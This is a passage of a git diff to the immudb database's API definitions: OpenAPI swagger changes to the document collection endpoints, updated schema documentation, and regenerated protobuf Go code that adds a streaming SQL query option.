200a839282..42bb68d8f7 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -110,47 +110,9 @@ "security": [] } }, - "/collection/{collectionName}/documents/search": { - "post": { - "operationId": "SearchDocuments", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelSearchDocumentsResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "collectionName", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, "/collection/documents/search/{searchId}": { "post": { - "operationId": "SearchDocumentsWith", + "operationId": "SearchDocuments2", "responses": { "200": { "description": "A successful response.", @@ -177,7 +139,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelSearchDocumentsRequestWith" + "$ref": "#/definitions/modelSearchDocumentsRequest" } } ], @@ -592,7 +554,7 @@ ] } }, - "/collection/{collectionName}/documents/count": { + "/collection/{query.collectionName}/documents/count": { "post": { "operationId": "CountDocuments", "responses": { @@ -611,7 +573,7 @@ }, "parameters": [ { - "name": "collectionName", + "name": "query.collectionName", "in": "path", "required": true, "type": "string" @@ -630,7 +592,7 @@ ] } }, - "/collection/{collectionName}/documents/delete": { + "/collection/{query.collectionName}/documents/delete": { "post": { "operationId": "DeleteDocuments", "responses": { @@ -649,7 +611,7 @@ }, "parameters": [ { - "name": "collectionName", + "name": "query.collectionName", "in": "path", "required": true, "type": "string" @@ -668,7 +630,7 @@ ] } }, - "/collection/{collectionName}/documents/replace": { + "/collection/{query.collectionName}/documents/replace": { "put": { "operationId": "ReplaceDocuments", "responses": { @@ -687,7 +649,7 @@ }, "parameters": [ { - "name": "collectionName", + "name": "query.collectionName", "in": "path", "required": true, "type": "string" @@ -706,6 +668,44 @@ ] } }, + "/collection/{query.collectionName}/documents/search": { + "post": { + "operationId": "SearchDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelSearchDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "query.collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelSearchDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, "/collections": { "get": { "operationId": "GetCollections", @@ -766,11 +766,15 @@ "modelAddFieldRequest": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, "field": { "$ref": "#/definitions/modelField" } }, "required": [ + "collectionName", "field" ] }, @@ -780,6 +784,12 @@ "modelAuditDocumentRequest": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, + "documentId": { + "type": "string" + }, "desc": { "type": "boolean" }, @@ -796,6 +806,8 @@ } }, "required": [ + "collectionName", + "documentId", "desc", "page", "pageSize", @@ -808,7 +820,7 @@ "revisions": { "type": "array", "items": { - "$ref": "#/definitions/modelDocumentAtRevisionAudit" + "$ref": "#/definitions/modelDocumentAtRevision" } } }, @@ -891,6 +903,9 @@ "modelCreateCollectionRequest": { "type": "object", "properties": { + "name": { + "type": "string" + }, "documentIdFieldName": { "type": "string" }, @@ -908,6 +923,7 @@ } }, "required": [ + "name", "documentIdFieldName" ] }, @@ -917,6 +933,9 @@ "modelCreateIndexRequest": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, "fields": { "type": "array", "items": { @@ -928,6 +947,7 @@ } }, "required": [ + "collectionName", "fields", "isUnique" ] @@ -956,17 +976,6 @@ "type": "object" }, "modelDocumentAtRevision": { - "type": "object", - "properties": { - "document": { - "type": "object" - } - }, - "required": [ - "document" - ] - }, - "modelDocumentAtRevisionAudit": { "type": "object", "properties": { "transactionId": { @@ -997,9 +1006,7 @@ "required": [ "transactionId", "documentId", - "revision", - "username", - "ts" + "revision" ] }, "modelDocumentMetadata": { @@ -1037,7 +1044,9 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": {} + "value": { + "type": "object" + } }, "required": [ "field", @@ -1102,6 +1111,9 @@ "modelInsertDocumentsRequest": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, "documents": { "type": "array", "items": { @@ -1110,6 +1122,7 @@ } }, "required": [ + "collectionName", "documents" ] }, @@ -1156,6 +1169,12 @@ "modelProofDocumentRequest": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, + "documentId": { + "type": "string" + }, "transactionId": { "type": "string", "format": "uint64" @@ -1166,6 +1185,8 @@ } }, "required": [ + "collectionName", + "documentId", "transactionId", "proofSinceTransactionId" ] @@ -1202,6 +1223,9 @@ "modelQuery": { "type": "object", "properties": { + "collectionName": { + "type": "string" + }, "expressions": { "type": "array", "items": { @@ -1220,6 +1244,7 @@ } }, "required": [ + "collectionName", "expressions" ] }, @@ -1272,6 +1297,9 @@ "modelSearchDocumentsRequest": { "type": "object", "properties": { + "searchId": { + "type": "string" + }, "query": { "$ref": "#/definitions/modelQuery" }, @@ -1288,31 +1316,12 @@ } }, "required": [ + "searchId", "query", "page", "pageSize" ] }, - "modelSearchDocumentsRequestWith": { - "type": "object", - "properties": { - "page": { - "type": "integer", - "format": "int64" - }, - "pageSize": { - "type": "integer", - "format": "int64" - }, - "keepOpen": { - "type": "boolean" - } - }, - "required": [ - "page", - "pageSize" - ] - }, "modelSearchDocumentsResponse": { "type": "object", "properties": { @@ -1334,11 +1343,15 @@ "modelUpdateCollectionRequest": { "type": "object", "properties": { - "documentIdFieldName": { + "name": { + "type": "string" + }, + "documentIdFieldName": { "type": "string" } }, "required": [ + "name", "documentIdFieldName" ] }, @@ -1640,6 +1653,11 @@ "type": "string", "format": "uint64", "title": "Entry expiration information" + }, + "extra": { + "type": "string", + "format": "byte", + "title": "Extra data" } }, "title": "TxMetadata contains metadata set to whole transaction" diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index d9b3f42620..de3b9680a7 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -19,6 +19,7 @@ - [CreateUserRequest](#immudb.schema.CreateUserRequest) - [Database](#immudb.schema.Database) - [DatabaseHealthResponse](#immudb.schema.DatabaseHealthResponse) + - [DatabaseInfo](#immudb.schema.DatabaseInfo) - [DatabaseListRequestV2](#immudb.schema.DatabaseListRequestV2) - [DatabaseListResponse](#immudb.schema.DatabaseListResponse) - [DatabaseListResponseV2](#immudb.schema.DatabaseListResponseV2) @@ -26,7 +27,6 @@ - [DatabaseSettings](#immudb.schema.DatabaseSettings) - [DatabaseSettingsRequest](#immudb.schema.DatabaseSettingsRequest) - [DatabaseSettingsResponse](#immudb.schema.DatabaseSettingsResponse) - - [DatabaseWithSettings](#immudb.schema.DatabaseWithSettings) - [DebugInfo](#immudb.schema.DebugInfo) - [DeleteDatabaseRequest](#immudb.schema.DeleteDatabaseRequest) - [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse) @@ -402,6 +402,25 @@ DEPRECATED + + +### DatabaseInfo + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | Database name | +| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Current database settings | +| loaded | [bool](#bool) | | If true, this database is currently loaded into memory | +| diskSize | [uint64](#uint64) | | database disk size | +| numTransactions | [uint64](#uint64) | | total number of transactions | + + + + + + ### DatabaseListRequestV2 @@ -435,7 +454,7 @@ DEPRECATED | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| databases | [DatabaseWithSettings](#immudb.schema.DatabaseWithSettings) | repeated | Database list with current database settings | +| databases | [DatabaseInfo](#immudb.schema.DatabaseInfo) | repeated | Database list with current database settings | @@ -474,6 +493,7 @@ DEPRECATED | vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | | truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) | | Truncation settings | | embeddedValues | [NullableBool](#immudb.schema.NullableBool) | | If set to true, values are stored together with the transaction header (true by default) | +| preallocFiles | [NullableBool](#immudb.schema.NullableBool) | | Enable file preallocation | @@ -532,23 +552,6 @@ DEPRECATED - - -### DatabaseWithSettings - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | Database name | -| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Current database settings | -| loaded | [bool](#bool) | | If true, this database is currently loaded into memory | - - - - - - ### DebugInfo @@ -1607,7 +1610,8 @@ Only succeed if given key was not modified after given transaction | ----- | ---- | ----- | ----------- | | sql | [string](#string) | | SQL query | | params | [NamedParam](#immudb.schema.NamedParam) | repeated | Named query parameters | -| reuseSnapshot | [bool](#bool) | | If true, reuse previously opened snapshot | +| reuseSnapshot | [bool](#bool) | | **Deprecated.** If true, reuse previously opened snapshot | +| acceptStream | [bool](#bool) | | Wheter the client accepts a streaming response | @@ -1709,6 +1713,10 @@ ServerInfoResponse contains information about the server instance. | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | version | [string](#string) | | The version of the server instance. | +| startedAt | [int64](#int64) | | Unix timestamp (seconds) indicating when the server process has been started. | +| numTransactions | [int64](#int64) | | Total number of transactions across all databases. | +| numDatabases | [int32](#int32) | | Total number of databases present. | +| databasesDiskSize | [int64](#int64) | | Total disk size used by all databases. | @@ -1910,6 +1918,7 @@ TxMetadata contains metadata set to whole transaction | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | truncatedTxID | [uint64](#uint64) | | Entry expiration information | +| extra | [bytes](#bytes) | | Extra data | @@ -2164,6 +2173,7 @@ Reserved to reply with more advanced response later | ColIdsByName | [VerifiableSQLEntry.ColIdsByNameEntry](#immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry) | repeated | Mapping of column names to their IDS | | ColTypesById | [VerifiableSQLEntry.ColTypesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry) | repeated | Mapping of column IDs to their types | | ColLenById | [VerifiableSQLEntry.ColLenByIdEntry](#immudb.schema.VerifiableSQLEntry.ColLenByIdEntry) | repeated | Mapping of column IDs to their length constraints | +| MaxColId | [uint32](#uint32) | | Variable is used to assign unique ids to new columns as they are created | @@ -2482,7 +2492,7 @@ immudb gRPC & REST service | Commit | [.google.protobuf.Empty](#google.protobuf.Empty) | [CommittedSQLTx](#immudb.schema.CommittedSQLTx) | | | Rollback | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | TxSQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | -| TxSQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | +| TxSQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream | | | Login | [LoginRequest](#immudb.schema.LoginRequest) | [LoginResponse](#immudb.schema.LoginResponse) | | | Logout | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | Set | [SetRequest](#immudb.schema.SetRequest) | [TxHeader](#immudb.schema.TxHeader) | | @@ -2535,7 +2545,7 @@ immudb gRPC & REST service | replicateTx | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | streamExportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) stream | [Chunk](#immudb.schema.Chunk) stream | | | SQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [SQLExecResult](#immudb.schema.SQLExecResult) | | -| SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | +| SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream | | | ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | DescribeTable | [Table](#immudb.schema.Table) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | VerifiableSQLGet | [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest) | [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry) | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 521fe7c146..bccbcea1fd 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7748,7 +7748,11 @@ type SQLQueryRequest struct { // Named query parameters Params []*NamedParam `protobuf:"bytes,2,rep,name=params,proto3" json:"params,omitempty"` // If true, reuse previously opened snapshot + // + // Deprecated: Marked as deprecated in schema.proto. ReuseSnapshot bool `protobuf:"varint,3,opt,name=reuseSnapshot,proto3" json:"reuseSnapshot,omitempty"` + // Wheter the client accepts a streaming response + AcceptStream bool `protobuf:"varint,4,opt,name=acceptStream,proto3" json:"acceptStream,omitempty"` } func (x *SQLQueryRequest) Reset() { @@ -7797,6 +7801,7 @@ func (x *SQLQueryRequest) GetParams() []*NamedParam { return nil } +// Deprecated: Marked as deprecated in schema.proto. func (x *SQLQueryRequest) GetReuseSnapshot() bool { if x != nil { return x.ReuseSnapshot @@ -7804,6 +7809,13 @@ func (x *SQLQueryRequest) GetReuseSnapshot() bool { return false } +func (x *SQLQueryRequest) GetAcceptStream() bool { + if x != nil { + return x.AcceptStream + } + return false +} + type NamedParam struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9990,523 +10002,526 @@ var file_schema_proto_rawDesc = []byte{ 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, - 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, - 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, - 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, - 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, - 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, - 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, - 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, - 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, - 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, - 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, - 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, - 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, - 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, - 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, - 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, - 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, - 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, - 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, - 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, - 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, - 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, - 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x69, 0x74, 0x22, 0xa4, 0x01, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, + 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, + 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, + 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x42, 0x02, 0x18, 0x01, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, + 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, 